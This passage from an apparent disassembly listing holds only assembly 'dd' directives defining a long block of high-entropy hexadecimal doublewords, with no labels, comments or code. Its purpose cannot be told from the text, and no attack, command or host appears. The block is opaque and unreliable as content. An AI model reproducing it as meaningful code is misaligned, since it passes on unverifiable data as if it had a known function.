		dd 0EBD54805h, 11B0E555h, 840C29F7h, 0D92F1168h, 9FFCCBD7h
		dd 9432F569h, 0DBC470DEh, 406CB7DCh, 5D8053FAh,	0F806CBFCh
		dd 0E5A6F44Eh, 0B05F5747h, 743F10C6h, 4BBE3823h, 642526FAh
		dd 189029BAh, 0D9B73690h, 0A3D76B10h, 78C9F497h, 0F570950h
		dd 5729DB84h, 5C8896B0h, 37FF3829h, 5DF4681Eh, 52B93912h
		dd 0DC9720B6h, 0FFFC7B50h, 0C04CE6A7h, 5C685782h, 186835B5h
		dd 3804C640h, 4619D2Ah,	0F728C396h, 0C02B05E6h,	18E44B4Fh
		dd 9468147Fh, 0B00CA834h, 23D08C51h, 0A8564F80h, 0B577741Eh
		dd 23988CEEh, 2BE40258h, 3FBB0E69h, 0C741703h, 800B91E8h
		dd 308F083Ch, 0F4754880h, 99935040h, 0F2AB4534h, 4812D063h
		dd 7C2C2B2Fh, 7820C454h, 0FB65ABFCh, 0EFA9BD7h,	519C4127h
		dd 4120FE34h, 10923D71h, 0FE5B03C9h, 9D39AC45h,	0A0221E19h
		dd 0A4447016h, 4F282568h, 841D194Dh, 50411B69h,	211B42D8h
		dd 0BFE42E6Ah, 0C2198C2Eh, 8BD4711Ch, 1C321568h, 1572918h
		dd 24B9F06Bh, 3D9CA7BCh, 5770F0Ch, 600B206Ah, 76C0B70Fh
		dd 790B0348h, 4D125162h, 0C9B8DF2h, 42056CA0h, 81EA32EEh
		dd 4FB1C1B8h, 20B1022Ch, 10D44CF6h, 16FE6C4h, 0F8C60916h
		dd 5938A691h, 0E4244796h
		dd 0FB70214Eh, 0F806B507h, 7C10E3C7h, 0AB18A48Dh, 0DC68F11Dh
		dd 88BB4FA4h, 0D8A5FDF8h, 622F91A5h, 48144EBCh,	41EE6357h
		dd 51170D7Ah, 0A3B468B7h, 0C2BF3E89h, 141C27F9h, 0C410591Eh
		dd 86C60776h, 158E968Fh, 41AF927Ch, 0FE0431ECh,	142505CCh
		dd 24BCE64Eh, 7722FEF8h, 4E1321ACh, 0EA4C6A2Bh,	820DF984h
		dd 3710FC6Fh, 0BF749753h, 5B5C394Ch, 3C4310C9h,	5E94C09Ah
		dd 0AE564D40h, 933A9F96h, 646E3F2Ah, 0C8B02FEBh, 518F429Ah
		dd 0BC100F1Fh, 0C6FBDF4Dh, 7E978BACh, 0E8C182EAh, 784D500Ah
		dd 94D233Ch, 2A32DFF7h,	6824229Eh, 5C5C1F20h, 2FAB4418h
		dd 0D2355E10h, 6C96D86Eh, 9B5BC926h, 1125453Ch,	90470C1h
		dd 0A0503531h, 50529912h, 1C90A529h, 4229F5FCh,	4CF0AE41h
		dd 0CB0AE33Bh, 15AF9134h, 0A88AEC29h, 3B64ED1Bh, 0ACF824B4h
		dd 68FC1036h, 232AF580h, 38868F92h, 330EC204h, 6E9D57F6h
		dd 0B34F3C33h, 55803458h, 849394ACh, 4A97B627h,	82229DF3h
		dd 18535627h, 0B8C63B80h, 740C17B9h, 5E40A26Ch,	8B2B37CDh
		dd 7D3B1C33h, 9DDE72EDh, 6A0944D2h, 74D8F702h, 0CC284549h
		dd 7EF9FC80h, 86578462h, 56B7EC14h, 0AE5F1056h,	0B70FA53Ch
		dd 1533B3B1h, 29674DBEh, 5394DC94h, 626BED9Ch, 9B1557Bh
		dd 457B070Ch, 801602AAh, 0C17D3E3Ch, 0B0CBC687h, 0B446572Fh
		dd 6BEA5149h, 0EB6290D4h, 0DC2113A0h, 9655A760h, 6C74BFEFh
		dd 0E97FD879h, 8EAEA4B7h, 321C2385h, 24741812h,	9C29DFA5h
		dd 0CF9D1EDAh, 0C074964Eh, 0C73B2872h, 271153B5h, 68201A74h
		dd 25F768D1h, 46655EF0h, 20130624h, 0B58FE868h,	2D1B1C29h
		dd 3BFF449Ch, 5629D28Eh, 97FE691Eh, 0D1A510C8h,	895E479Eh
		dd 22E3CDD5h, 0FC0FCB3Dh, 0D69E3A4Eh, 75052F24h, 14245719h
		dd 0D732CAEFh, 38A2F9E8h, 2450722Bh, 0A7585F10h, 0C64FB663h
		dd 74FD2A1h, 6A27E420h,	665ED371h, 0E84B44E6h, 1789C0E6h
		dd 57932471h, 982300A6h, 5350E404h, 5E1F33Ch, 0B88EC4FBh
		dd 0FEE1E2FDh, 0BFF442B7h, 0F15CE6F7h, 532B223Fh, 0FC71BEF4h
		dd 4AB94691h, 50D68104h, 4FC68BAFh, 22FDB0C2h, 6ED15164h
		dd 1CFDC862h, 410F1452h, 0FC6797D1h, 9FCAB8A2h,	3E276817h
		dd 0C6ACC8Dh, 0BA6EFED8h, 195FE3EFh, 24B2BFBCh,	0B54C2561h
		dd 809F5FB7h, 0AE553F47h, 6309851Dh, 38CC286Fh,	704FF8Ah
		dd 75445601h, 0D2BE88FCh, 0A0562758h, 20B61952h, 1410C90Fh
		dd 9A2D1CFh, 0F6E6088Bh, 7ACF564Ah, 4B50AE50h, 0C84CA903h
		dd 0FEB0624Ah, 5F011024h, 2F2080C7h, 0C753C2A6h, 0F756EC17h
		dd 0BC75C4A5h, 42837DEAh, 3054F0C6h, 0C429F927h, 9730AF08h
		dd 0D6C04D8Bh, 3005CD46h, 49820431h, 0B37F8112h, 0B8E41061h
		dd 0AB57B964h, 0F461BB2Dh, 6A6D317Eh, 0C3CA2A0Ah, 8ABC1340h
		dd 7480665Fh, 0C56595D8h, 24346427h, 98D0E874h,	89C028DAh
		dd 20667997h, 43D06484h, 11DC8BDCh, 0CC21FCB0h,	12245765h
		dd 4099B6BBh, 7397C4A3h, 20C0BB91h, 0A5E09C8Eh,	0A9487DF4h
		dd 0F3C6803h, 127F8741h, 0C49472EEh, 131CC639h,	9DDE3968h
		dd 55FF6309h, 0ED926245h, 0AF9F9DEFh, 0E543D6EAh, 0A549BFEBh
		dd 8C891657h, 92C04909h, 130BB9F4h, 66F61344h, 0A24A9694h
		dd 0FEBC1038h, 0D05DC99Eh, 85D7480Fh, 51730FDCh, 29AD022Ah
		dd 0E53726A1h, 8371C3F0h, 6B85484Eh, 0AC6C7208h, 47E8447Dh
		dd 110EAFDEh, 34F7AF9Fh, 84EA4A73h, 83CBBB64h, 5C48AD53h
		dd 91150F2Bh, 0EEB1B58h, 0F88C25C8h, 64581455h,	5610B8C7h
		dd 0BED11BEAh, 6E950EAEh, 0E3564E7Dh, 31F08B62h, 0D697EA5Fh
		dd 54B0FCCCh, 9085EC89h, 525484BCh, 0BC916429h,	7FE98991h
		dd 0A4240E1Bh, 0CC508FD0h, 1CB3278Dh, 0A25261F4h, 0AB0E8B9Bh
		dd 58063BF0h, 68C1CC77h, 2A411123h, 4A4D6B2Ch, 2E689ED0h
		dd 0E004B353h, 998B0A75h, 13BBF11Ch, 0D018EC10h, 99947195h
		dd 5310195Ah, 0CC36AD42h, 7E80C6DEh, 17843E2Ch,	0C3D84F94h
		dd 0DD1348EBh, 0B5214A1h, 0B582114Bh, 3669FF97h, 0FC25E64Bh
		dd 0E4256EEFh, 112823F2h, 0D87CB949h, 3551E626h, 8E247C30h
		dd 0A743F19Fh, 0BB92F0C4h, 0CDEED827h, 261123A4h, 0CFCA73Fh
		dd 66D1D1A5h, 1D844B1Bh, 909535D1h, 43B9A3C4h, 0ECC9A657h
		dd 5EDA1456h, 0EB73CF0Ch, 86785B2Ch, 89AB2C48h,	11217601h
		dd 1BA24A1Eh, 490ADC26h, 0C4AF0B7Fh, 4300AC7Ah,	6B332D8Dh
		dd 0C9D9959h, 6F7493Eh,	0EAAB1AF5h, 0CBE248Ch, 8A5EBDAAh
		dd 7563A6BCh, 0EF36FA18h, 9657919Ch, 1CC46F49h,	0D41ACB90h
		dd 51FD487Ah, 7AC503F6h, 0B60D5710h, 6A01F5BCh,	6F105940h
		dd 8D12B795h, 0A297C7ADh, 28444031h, 23746EA8h,	0A4CE3994h
		dd 0BB9D532Ch, 4A547719h, 0F1887934h, 0A3A287E8h, 0C299E8E6h
		dd 3DE2736Eh, 0D41B1E93h, 0B8A11030h, 21053190h, 7A22A40h
		dd 0DAECE069h, 0E02C3D2Dh, 0D6497548h, 0F371577Fh, 40CDD02Ah
		dd 1F5A0433h, 2F750DC8h, 16E05728h, 39A55318h, 1652132Bh
		dd 0F068153Fh, 84A7C152h, 264C5006h, 0F2539C23h, 14E19752h
		dd 98A84753h, 104427A5h, 9ABCBFAh, 2A6A5651h, 71A5F57Ah
		dd 0D7BEEFAFh, 30F3B835h, 6882E8Ah, 254DE846h, 73747410h
		dd 0B8282794h, 0EBDB0474h, 8A58680Bh, 7B592769h, 0FE5E1641h
		dd 5A082F66h, 257CCB10h, 0E2FFD618h, 30B28468h,	0BDB7DA5Dh
		dd 51C61329h, 0B905A425h, 0EC0C78A3h, 718CFD5Eh, 0B889125Fh
		dd 22F4F2DCh, 9C57955Ch, 0F63325D1h, 1D18275Ch,	0A554F424h
		dd 7DB492E2h, 0CC68DCEAh, 5F411632h, 967F12Ch, 3C142975h
		dd 0D854B02Ch, 0B50A795Ah, 53896C77h, 0E0935B94h, 847E0D9Ah
		dd 5789B042h, 0E2400CC4h, 0D1D29EE4h, 0BD250D3Bh, 0E0B2D339h
		dd 8BE59414h, 0D2D30117h, 0F9CB5312h, 55140328h, 0D0899674h
		dd 0E0E80CF0h, 4FB4F475h, 0BD58506Bh, 0F036C589h, 679ACC69h
		dd 0CAE83219h, 0D67E9AF7h, 0B56A9D28h, 404496B3h, 0C162B44Fh
		dd 41A850C5h, 9C24FFCEh, 0D093BBC8h, 40ECE62Ch,	302768FBh
		dd 21579654h, 5745FBECh, 96A0D21h, 0B8C83D39h, 135CD652h
		dd 0DC3D9C24h, 86FDEC88h, 9F11C020h, 0A3BB06C4h, 408AB893h
		dd 3710C8C8h, 5347F4ECh, 43F98A93h, 53BC16A2h, 75CE99E3h
		dd 428BFC92h, 57094B1Ah, 3E48FB50h, 0B588B5A8h,	0FBFC939Eh
		dd 0F54D4B85h, 9196EB2Ah, 85305BD1h, 0F870B539h, 9F8E58B5h
		dd 185FED66h, 5D5E80F3h, 6927452Ch, 0F0FA30FFh,	87E8DB33h
		dd 6E9DCB92h, 0FFF6BF3Dh, 55C94667h, 591226D1h,	126E7C26h
		dd 2419F968h, 9D21409h,	0C33BD70Ch, 7529103Ch, 5442E619h
		dd 4E833855h, 0EAFF0C2Ah, 11323A53h, 14B21AABh,	323E2BE2h
		dd 1335955h, 3A1476C3h,	946AD2CDh, 229A0652h, 499DBE8Bh
		dd 1099E8FEh, 2EC0C14h,	0BAF00508h, 626AF9C8h, 71305003h
		dd 74C32B00h, 6F487335h, 53D5062Ch, 55A2088h, 0BA102F81h
		dd 0D757444Dh, 0A100DC8h, 3B081BEBh, 496B0429h,	8167F8Ch
		dd 0DB34CC9Dh, 5AC46434h, 19332850h, 84360A32h,	925F0409h
		dd 0EB63650Ch, 68FF8764h, 0C6B5143Eh, 0FC184FF4h, 75F88991h
		dd 0F73B5CB8h, 0C745BA98h, 68BA8D3Bh, 870A9A1Eh, 0FE6B3E56h
		dd 0C5561656h, 7D67317Bh, 31AF2AF0h, 49D3FF9Ch,	0EC5347Eh
		dd 0AC4E3485h, 56202FF7h, 46CF6E76h, 0E3FC7FD9h, 14455064h
		dd 0F1A5C428h, 0AB2EEB8Bh, 6C6CDCB8h, 2A950923h, 23376E1Bh
		dd 1620BCEAh, 7E7D83EAh
		dd 683FF4E1h, 27319C53h, 0B0E4D238h, 210555B5h,	3DF8189Ch
		dd 5F27AAFBh, 33631E4h,	86E01350h, 0B2F28E0Ah, 0A90648FCh
		dd 38C68B85h, 6A8858F9h, 20199544h, 86FC08A8h, 68B61DB0h
		dd 0D5F1CA5Ah, 62D452E2h, 0BE2A24ACh, 42A8F181h, 3BD704E8h
		dd 0AC653929h, 0B08CBBD8h, 0C081C406h, 0FE09BC02h, 6D8991Bh
		dd 0DA0F92DCh, 0D4D41D09h, 85056BAEh, 4915D7D7h, 0EC516AF4h
		dd 56F3A813h, 8C48F8Eh,	29977C68h, 0CEFB55C9h, 82E8209Ah
		dd 7BF44DCBh, 0F07509CDh, 46D789E2h, 319895DAh,	3E9116EBh
		dd 3B564442h, 59FC441Ch, 81C7D969h, 82EBB026h, 7ABA8FDCh
		dd 922C6451h, 976A70CDh, 5F956A6Ch, 12892CA8h, 748A2137h
		dd 32172062h, 0D0E1D24Eh, 2A76408Bh, 20208D7Eh,	0AF98012h
		dd 0FA40C31Dh, 0C609740Dh, 50052784h, 40422C8Fh, 9AF8C88h
		dd 0D18A4601h, 72A6203Bh, 64CD655h, 774B8E12h, 988A86D9h
		dd 5C66167Eh, 8B98EB0Ah, 4B4FAE35h, 6DED81D6h, 0EA00F74h
		dd 908442B7h, 8EB243B4h, 0BE9610DCh, 8908FB22h,	3466DE90h
		dd 0A275C606h, 42200B48h, 52304F64h, 0CCED8E0Fh, 763C3951h
		dd 4D75EF90h, 8ADEEB18h, 12BE0F42h, 85F981C8h, 0CB98FE53h
		dd 7308633Ch, 7FBB5774h, 3D853A3h, 74EB0A75h, 7292345Ah
		dd 786CEB3Fh, 0B2C91EFCh, 20C286C6h, 58F92008h,	88FBFA44h
		dd 0FD800DFCh, 66A090Ah, 15636EBh, 31BA2415h, 0D3CE646h
		dd 595005F3h, 23C62575h, 65740A12h, 0EB022EC0h,	19F33B13h
		dd 894E2676h, 28201208h, 59030AF0h, 51F889A6h, 56EB0936h
		dd 0F4A8697h, 0E8C353BEh, 0D07D9D57h, 4BCB5647h, 0E249FC04h
		dd 0A15F2774h, 0C40A0138h, 75F4CD40h, 3B5F950Ch, 182367E1h
		dd 0C2995BF0h, 380F55F4h, 719FD423h, 81064E6h, 0AB2C1B5Bh
		dd 0E8A45BDFh, 0CC22FB59h, 648970F6h, 0AC5375A8h, 9CC0E826h
		dd 2EED919h, 0CAF839F0h, 53E47E54h, 4A792AFBh, 0A721FB48h
		dd 0C96DF58h, 4141059h,	0FA2CB551h, 852F2A2Dh, 14A6BE66h
		dd 1241E997h, 0FC4D075h, 64601A26h, 0FA3049CCh,	362CA132h
		dd 884A0FFDh, 4E9FDC5Bh, 0C46AC2ECh, 2070D88Bh,	7869DE59h
		dd 0E875F19Dh, 5730846Ch, 4DE07543h, 80D6B72Ch,	0C8DE045Ah
		dd 0C42511E7h, 8114E67h, 0C4FF2C10h, 0C8681DD3h, 72D8C485h
		dd 7B863E05h, 9C56F425h, 0A2A7ABF6h, 515656A9h,	0E2234DC0h
		dd 5A0AAD34h, 26F6FA29h, 0EF285CDAh, 5960589h, 8A3A2C41h
		dd 26025857h, 422502D4h, 8BA8F177h, 6EE48D5Fh, 2AACCEA1h
		dd 8B1238A2h, 5BEF006h,	0EEAD8989h, 0A996AFF5h,	0DC321350h
		dd 0B412F41Dh, 0AFF9BD27h, 11103719h, 306B9853h, 3A6881FBh
		dd 1778AAF5h, 7F4662A6h, 42BD80B1h, 4C410430h, 913235EDh
		dd 8179311Ah, 5D3810E0h, 777428BCh, 9D3AEB89h, 0B2886872h
		dd 17169661h, 7457F868h, 9099F92Bh, 88B44016h, 0C6579D50h
		dd 5D5042FDh, 8066965Dh, 906A5315h, 0D4C4B6E6h,	9395968Eh
		dd 4904E495h, 0DFF13A0h, 326F3288h, 8DC64A28h, 3634451Ah
		dd 0ABC94A23h, 0FCEC2892h, 5D75E117h, 0B8CABC7Dh, 5B915598h
		dd 1A7714C8h, 4D55E48Dh, 906FA364h, 4C90EE74h, 96955AFCh
		dd 494C85D8h, 971076E8h, 4CA2594Bh, 0FED5D90h, 5BA89318h
		dd 0D289FEA5h, 6A1DA57Bh, 649D9A23h, 0EBC70252h, 0EAE85924h
		dd 5F6C98Dh, 17C0BB12h,	4B741039h, 0CCCFB509h, 723401F9h
		dd 0C3BF0BF0h, 72ED9570h, 5624022Dh, 1D6939EBh,	571B03B7h
		dd 0A4E4AC8Ch, 53E41127h, 742970EAh, 34A4572Ch,	0F176899Fh
		dd 605F664Ah, 34971684h, 4874296Dh, 0BF2BB43Eh,	0AA4B692Ch
		dd 0D5443A82h, 19574834h, 44532B46h, 0D72DF0ADh, 7CC92C61h
		dd 1AEA0845h, 588205D7h, 0F2F032AAh, 9FC8C02h, 0CE26BDFEh
		dd 0FEF8CF3Bh, 26D6F997h, 6B382F0h, 0D582CAF8h,	1E5503ABh
		dd 68561771h, 0A0E1E890h, 0F3289D39h, 8810982Fh, 243FF842h
		dd 0FEA410C3h, 69FC8CC4h, 620AF8DDh, 0D7FE9834h, 0A2B588BEh
		dd 0D5500400h, 7C562DB9h, 0C2C5D3A7h, 352E34AAh, 2795BC10h
		dd 641671FEh, 0C5E9AB53h, 7467D489h, 69B5C4BEh,	0EBD14FA0h
		dd 41BCD644h, 0BB5656CBh, 93E452Dh, 9C571975h, 8499B09Fh
		dd 0E2C495F6h, 0F0150114h, 0FC9013AAh, 0AAA467BDh, 0FB9647ECh
		dd 0F4FA0110h, 0EF90F22Ah, 0A6116BFDh, 6E81D3F0h, 5C229F39h
		dd 0B4EBD451h, 0D7B8A9ABh, 8AA19D53h, 5624176Bh, 800A5836h
		dd 8909DA26h, 91F788B5h, 6CDA8478h, 52E5BDA5h, 0AD1063ADh
		dd 0CC66175Bh, 0F0D46A7h, 2EA1218Eh, 8B1D0EB2h,	4B87A8CFh
		dd 0CD0FB8FAh, 0A0891189h, 147710F4h, 1F91B511h, 7582A1C4h
		dd 93806814h, 8AACCAB4h, 94C80A84h, 7AF4A7FBh, 4E31B04Bh
		dd 29459D38h, 5509B112h, 0FD5546AAh, 0B9A6A30Ch, 0A5A2944Eh
		dd 8C37538Eh, 8B69CA4Ah, 0C8C4DF11h, 0DAE5E498h, 3841112h
		dd 3C03896Eh, 8A2A645Dh, 0D32F8B32h, 2083ABE9h,	0F5A64D8Dh
		dd 78C4769Ah, 0BFF151F4h, 9708BF0Dh, 26BA4138h,	9159FC6Eh
		dd 0B0A715D6h, 0ED110488h, 338D8A0Dh, 32E2DB1Bh, 0A02376D9h
		dd 0FE1275C0h, 0C93224C0h, 0B98A1439h, 0EB828BC8h, 99C1FE0Eh
		dd 0F088D10h, 6C0B632h,	0AF44D7C9h, 0A6A13B7h, 0C72B0914h
		dd 59F721ADh, 28BF2B57h, 8B241C1Eh, 0FAAD6DF8h,	77754952h
		dd 0DB044714h, 0E7E12FA9h, 0B01DB02Bh, 3FB859FFh, 654D319Eh
		dd 0DC0513BFh, 168D31FCh, 2AE94DE7h, 6A3820F0h,	504DB058h
		dd 0F16F85Dh, 0EFB9778Fh, 56278948h, 0AF20AAE7h, 920F3B59h
		dd 0C4AE9E64h, 5DAEDAC8h, 392DFC2h, 7237CEEEh, 3DF3974Fh
		dd 836F30DCh, 81E198BDh, 565E7403h, 745148BEh, 0CB3B0C75h
		dd 0DB383FCCh, 8C1B9BDh, 7B6BB468h, 1B9108CAh, 0F39CB512h
		dd 5A1825D2h, 13DF8E7Ah, 27C68128h, 48FE61A6h, 726A8164h
		dd 37EB5EABh, 0B05585A5h, 0A542CC84h, 627FFA48h, 0AEE7582h
		dd 0D470094Fh, 5DE0A583h, 6A137CF6h, 4E58BD26h,	0FF206588h
		dd 947C8C3Bh, 0F23A19E1h, 53E48D28h, 166B4331h,	4DA12223h
		dd 511C8255h, 642EC650h, 0CCBB2170h, 57BB08DDh,	489F23A2h
		dd 416184BCh, 0B2C1E01h, 25A87D83h, 3F8CCCFDh, 0C9AF8520h
		dd 0C42A7483h, 0CE77AA57h, 6573E55Fh, 400F2036h, 3C2668FBh
		dd 5521D6Ch, 3E1B8CC1h,	92B59A5Ah, 4769F7AEh, 4264DFCh
		dd 15230FBAh, 0A1DE89EAh, 374E2D3Fh, 0ACC48114h, 62C99273h
		dd 1B4C3D6Ah, 860F0A85h, 12485CADh, 7E149B59h, 34EB158Ch
		dd 0CD14A332h, 36684424h, 8891871Ch, 4995B941h,	0C291C559h
		dd 225156EFh, 0DCE99FA1h, 3CFD29A0h, 0F280AC3Dh, 632F8F12h
		dd 0EEC07E24h, 0B3FAE026h, 94B297AAh, 85946ABFh, 0BA6D522Eh
		dd 4CB3C24Eh, 106AC568h, 0B8A8EEC4h, 0F0BF0F01h, 0B924B98Bh
		dd 0B857AB78h, 80C4F600h, 526A7B74h, 66271D14h,	0E01F3884h
		dd 1A757E7Ah, 15EA40E8h, 7D5B0AC0h, 4C84C710h, 0D897B0BDh
		dd 32531BBBh, 821E8E2Ch, 0BE2E7DF6h, 9A02422Bh,	314393Ch
		dd 2110430Ah, 0B48B4204h, 17498D19h, 625664A8h,	2083D758h
		dd 0B0C5204Eh, 18C55008h, 0A4804C30h, 251F6E05h, 0A238590Ah
		dd 0B93D3513h, 39620B59h, 0F3912236h, 4E0E74C2h, 4682465h
		dd 55EB895Fh, 57B01F9Eh, 64256B66h, 0C30495BEh,	90B58BB9h
		dd 2BD23486h, 1D21573Eh, 0A6BD442h, 92DE4972h, 0A71FEB70h
		dd 21BC1566h, 62FD10F2h, 0DC4A658Dh, 3D7EEB48h,	147419FEh
		dd 0FD5030Ah, 5D20203h
		dd 1A750401h, 7D1A42Fh,	0C0FAE692h, 0D9A750ECh,	0E2177827h
		dd 142AC383h, 7CA27D81h, 8C0F97A1h, 0D033A0E9h,	12C9084Dh
		dd 0ED9DFBB5h, 81B7CA7Ah, 102B4B8h, 0E83E677Bh,	0E58AF4Fh
		dd 5D25ABF2h, 0AB703A9Ah, 0A081F85Eh, 9C29082h,	55859A57h
		dd 7E568189h, 0D82B56D9h, 30A1B583h, 5CE60266h,	0CF1CB4Bh
		dd 0B4C178A5h, 0BDE89601h, 0F9FCA297h, 3ABC4814h, 759CECC5h
		dd 4366B495h, 964C21D8h, 69ECF7D4h, 4F6653C3h, 3CD0F2D0h
		dd 6BD019A1h, 0E421EDDFh, 0B46475E2h, 0ED70477Eh, 13A44478h
		dd 9DF0F686h, 0FBD9C4EDh, 64F5FEFAh, 98C7D368h,	0B9805514h
		dd 8740EC83h, 0BB531676h, 0C9165658h, 0FE2F0307h, 285657C9h
		dd 9523E6A2h, 28A488CFh, 8EB4703Eh, 6375598h, 8BC60D75h
		dd 91135885h, 804F6D1Eh, 0B475F43Ah, 8F746CC8h,	0AA523468h
		dd 537D938Eh, 2423179Dh, 0C38B86C0h, 48FF5F33h,	898B7A68h
		dd 27E7085Dh, 0F582248h, 4AAF9847h, 661EAE08h, 0F345E396h
		dd 2134441Dh, 0F60EA0Dh, 29049602h, 792DF9D6h, 4018ADF9h
		dd 58B77F04h, 0D66C545Ah, 85341AFFh, 40B80F48h,	0FA9C74F0h
		dd 0AD2478D2h, 821A7245h, 0C4E2AC54h, 1C5CBA74h, 5B104457h
		dd 0AADA58A7h, 0BF7C9F61h, 0A32F0772h, 0B8DAC134h, 0E4AB0544h
		dd 0A98088Dh, 0E213764Fh, 0EC4BDF8Bh, 0C35E1238h, 0BA5E1BEh
		dd 0EB751215h, 0F0268110h, 5668DA75h, 0C9821128h, 48B62068h
		dd 1888B07Ah, 88434776h, 8425410h, 75D808A7h, 0F8683AB8h
		dd 0A7C91153h, 0D0117C08h, 1EF96896h, 8D687874h, 0B5AE0F92h
		dd 6CD404B8h, 46845B15h, 775EC9C8h, 0E417D70Ah,	78CA2E80h
		dd 704274F5h, 465418A7h, 0B276D04Ch, 706517ACh,	0A7A45078h
		dd 2A9C4487h, 8C519421h, 5DEC881Ah, 0B876E494h,	0D04485DCh
		dd 0F2C4242Ah, 87B85654h, 0B7728A1h, 0B7718A1h,	0F27791DDh
		dd 256595F8h, 13288B2Eh, 641D7C52h, 55483225h, 1AB1E8E5h
		dd 0B107FC49h, 2DB0893Fh, 0FC05B93h, 4F489D88h,	0E49CA8FCh
		dd 0F177AC4h, 503F47F3h, 0E22D75DCh, 2E15B5E9h,	1A4290E8h
		dd 1F8EA64Bh, 0A52BF0Fh, 51257AECh, 455B7970h, 0FA93AAA9h
		dd 0E660A6C9h, 52534BE4h, 48B09AB3h, 0FC092DE2h, 898D51C4h
		dd 67106AB4h, 3248644Dh, 5D203478h, 20E996D4h, 97FE9A1Ah
		dd 0D0AD66F3h, 6F2DB3C1h, 89CA8BD2h, 0CBB4FBCCh, 0E4BE04DCh
		dd 4DB2F40Fh, 28BCF197h, 8648BC50h, 0B5768687h,	4F94DF44h
		dd 24EC48C2h, 11023D53h, 464F5A53h, 0BD800CF0h,	0FE062551h
		dd 5CD0CCCFh, 3D178B13h, 0D6E271CCh, 1D5E6B7Eh,	0AB77D68Bh
		dd 0EAF4D0E1h, 0F818C36Eh, 133BAA74h, 6EA42419h, 9F6C7B3Fh
		dd 0C89A140Ah, 0BDB0544Eh, 0F859DD1Eh, 0D0A4CD30h, 0ECDD0C7Ah
		dd 3CAE2BFBh, 5856B5CEh, 439C5C26h, 0DBF48828h,	51742235h
		dd 0B35E24A8h, 347E853Bh, 288040A0h, 151A05BCh,	8848D0Dh
		dd 0C603750Eh, 38802001h, 42FB0D0Ah, 0B75B383Eh, 59157F61h
		dd 7FA8CC7Ch, 6A840F27h, 13A70CEBh, 25148AA0h, 844D1E78h
		dd 112329F2h, 512786A3h, 28B9238Dh, 970C48B8h, 2514465Bh
		dd 74297B73h, 20423967h, 6EB41303h, 1477D810h, 213665EBh
		dd 7F79E431h, 2F14A421h, 8421A331h, 55DD0F50h, 2E903155h
		dd 62226F9Bh, 0FC1FD36Ch, 6820F2D4h, 6E850F3Eh,	2A336407h
		dd 14D99142h, 22669323h, 0D41BA187h, 719B59A3h,	0B7940834h
		dd 44B7466h, 0B91791A6h, 84AAADA5h, 9061FD6Ch, 0F37A1902h
		dd 0F7BFD2ECh, 5FBE9626h, 1074AFE3h, 0ABCB2958h, 6C21258Ah
		dd 789C7348h, 127D2585h, 0F102771Fh, 1C925620h,	0FF955370h
		dd 0C60455B2h, 0D869AE6Ch, 34C816FAh, 0C2CFAD70h, 8488B5A1h
		dd 0BEE2402h, 93890E6Ah, 4D0291FDh, 1D8AA5ACh, 8FCA74Ch
		dd 97FD7C50h, 70A4456Dh, 68A4FE25h, 0BC717A1h, 390E5FC8h
		dd 98B23537h, 0CE9D786Ah, 0A1E04B34h, 0A365A065h, 0E6C04D2Ch
		dd 0DD36511Ah, 0A97D7A87h, 22536474h, 0B981A33Ah, 0A8DE7414h
		dd 0ADCDDB95h, 289712D4h, 55AA7682h, 67C6C407h,	10FE89CCh
		dd 0CE4C14E4h, 0D0407D08h, 32D2635Dh, 81980D4h,	0D61906D5h
		dd 0F2DC5093h, 11EE89CCh, 8C64C21Ch, 5EB97899h,	9934AF04h
		dd 78681B00h, 0CB123456h, 1A75EC41h, 0FD7ADDF5h, 5FC5899Fh
		dd 984C4A5Bh, 0F9A8C1F4h, 6E54EB02h, 1C4205EDh,	38EB10E0h
		dd 512C6821h, 13745425h, 5842FAF9h, 91F45589h, 0C809020Eh
		dd 0D20F1ADAh, 830EE280h, 0E35588D1h, 8C408268h, 52F88690h
		dd 0FAC9AC50h, 0C1897552h, 4106A5FEh, 0C82A3CE8h, 3FCFE47Fh
		dd 26615438h, 180C41BCh, 0B5B80E99h, 0CB58BC64h, 6A36604Fh
		dd 7D135E14h, 0C470CC55h, 6FCAC8CAh, 0E8A069FCh, 1E03E921h
		dd 11E5BF81h, 0EC5D7252h, 0F88B1EA0h, 1054E7C1h, 57F40B0Ah
		dd 0A8B11CA4h, 0C4F61A5h, 5035B7FFh, 0D8039CBBh, 56DC20C6h
		dd 888C0A0Eh, 8A3905Dh,	92590691h, 0CD83099h, 32984788h
		dd 23C5206Ah, 0C2AA7427h, 765756ECh, 22425B14h,	346A1B1Dh
		dd 5F9A811Dh, 46FC7799h, 341F09CCh, 9696021h, 0E5F43212h
		dd 46441474h, 0D65928C8h, 0D124D20Ah, 51AA2D85h, 0E2D72D0Ch
		dd 0EC382D81h, 2401FE17h, 72481045h, 3BE8C003h,	3C7FC8E8h
		dd 0CA8C0F17h, 0E4C723BEh, 73C41C09h, 28B5A22Eh, 475F5946h
		dd 0C490A80Ch, 0F81113B4h, 0EBBE428h, 62B55D5Bh, 5E4B6C22h
		dd 0C37FCCBBh, 775B5F25h, 925F7292h, 0A40CD5ABh, 8B761813h
		dd 4D495EB5h, 0D8DAF316h, 4EF8BA1Bh, 926794A5h,	53A60C57h
		dd 8D172C39h, 4253284h,	2669C8FAh, 56BE944Eh, 6C4BEA6Eh
		dd 0DD4CDD58h, 2EFFCDF1h, 0BC0C71FAh, 0D13F0903h, 3C686AEAh
		dd 0FE448439h, 675B5819h, 43014E6Ch, 9C988902h,	7EDE9DA7h
		dd 0A55F7578h, 61449FDCh, 33A37910h, 7D35C8F5h,	0A457DC40h
		dd 0D8D9811Ch, 66484D97h, 35B3B8FBh, 58FCC84Fh,	32BBC875h
		dd 8935791h, 9AB6F4CEh,	50572CFAh, 0AFD0A619h, 7921196Fh
		dd 2BB49490h, 9F64A677h, 750A936Dh, 74646855h, 5ECBB42Dh
		dd 0E2D2677Eh, 968F7C14h, 4539EA57h, 0BB4B871Ah, 2CA582C9h
		dd 81281D0h, 23EED6FFh,	0A5F2BC4h, 80D774FBh, 870FD06Fh
		dd 0A3B4944Eh, 128FBA1Ch, 0A14005C6h, 41D26717h, 0A366D8ABh
		dd 54E74228h, 7441D2Ah,	0C8463D22h, 80824848h, 91491D88h
		dd 74114A14h, 4CE6630h,	8E3C1D8h, 0A970332h, 94B26A9Dh
		dd 0EB5B214Ch, 4BEF4B18h, 0A328B88Bh, 0F0109A1Bh, 2911D250h
		dd 3CE4DA97h, 423C884Ch, 1C55A213h, 0F397F070h,	4A3034C1h
		dd 0C4B35691h, 10424C5Ah, 28585215h, 46B0FF88h,	0D65C6852h
		dd 0D685F326h, 0FF375D94h, 5B2DFE5Ah, 52AD2671h, 0ED453385h
